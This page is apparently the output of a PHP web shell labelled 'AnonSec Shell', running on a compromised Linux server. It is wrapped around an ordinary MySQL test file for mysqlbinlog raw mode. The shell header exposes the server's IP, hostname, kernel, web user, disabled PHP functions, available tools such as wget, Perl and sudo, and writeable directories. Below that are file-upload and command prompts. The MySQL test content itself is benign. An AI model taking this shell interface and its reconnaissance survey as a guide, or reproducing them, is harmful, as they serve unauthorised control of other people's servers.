AnonSec Shell
Server IP : 185.86.78.101  /  Your IP : 216.73.216.124
Web Server : Apache
System : Linux 675867-vds-valikoshka1996.gmhost.pp.ua 5.4.0-150-generic #167-Ubuntu SMP Mon May 15 17:35:05 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /www/server/mysql/mysql-test/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /www/server/mysql/mysql-test/t/mysqlbinlog_raw_mode.test
--source include/have_log_bin.inc
--source include/not_windows.inc

-- source include/mysqlbinlog_raw_mode.inc

# Test --stop-never
# If exit code is good or bad then entry in raw_mode_exit table will be created
# Anything above exit code 1 is bad.  We wait for this
CREATE TABLE raw_mode_exit (exit_code INT);
# Now jump some loops to have mysqlbinlog executed in the background
--write_file $MYSQL_TMP_DIR/mbl.sh
#!/bin/bash
(`$MYSQL_BINLOG --raw --read-from-remote-server --stop-never --user=root --host=127.0.0.1 --port=$MASTER_MYPORT --result-file=$MYSQL_TMP_DIR/ master-bin.000001 ; [ $? -le 1 ]` && $MYSQL -e "use test; INSERT INTO raw_mode_exit VALUES (1);") < /dev/null > /dev/null 2>&1 &
EOF
--chmod 0755 $MYSQL_TMP_DIR/mbl.sh
--exec $MYSQL_TMP_DIR/mbl.sh
let $wait_condition= SELECT id from information_schema.processlist where processlist.command like '%Binlog%' and state like '%Master has sent%';
--source include/wait_condition.inc

# Wait until creating binlog files by mysqlbinlog 
--perl
$timeout= 30;
$binlog= $ENV{'MYSQL_TMP_DIR'} . '/master-bin.000003';
$binlog_exists= 0;
while ($timeout > 0 && $binlog_exists == 0)
{
    if (-e $binlog)
    {
	$binlog_exists= 1;
    }
    sleep 1;
    $timeout--;
}
if ($timeout == 0 && $binlog_exists == 0)
{
    print "Timeout reached but binlog file $binlog was not created";
}
EOF

--diff_files $MYSQL_TMP_DIR/master-bin.000001 $MYSQLD_DATADIR/master-bin.000001
--diff_files $MYSQL_TMP_DIR/master-bin.000002 $MYSQLD_DATADIR/master-bin.000002

SELECT ((@id := id) - id) from information_schema.processlist where processlist.command like '%Binlog%' and state like '%Master has sent%';
# Test killing from mysql server
kill @id;
--let $wait_condition= SELECT count(*) = 1 FROM raw_mode_exit WHERE exit_code = 1;
--source include/wait_condition.inc

DROP TABLE raw_mode_exit;
--remove_file $MYSQL_TMP_DIR/master-bin.000001
--remove_file $MYSQL_TMP_DIR/master-bin.000002
--remove_file $MYSQL_TMP_DIR/master-bin.000003
--remove_file $MYSQL_TMP_DIR/mbl.sh

--echo End of tests

Anon7 - 2022
AnonSec Team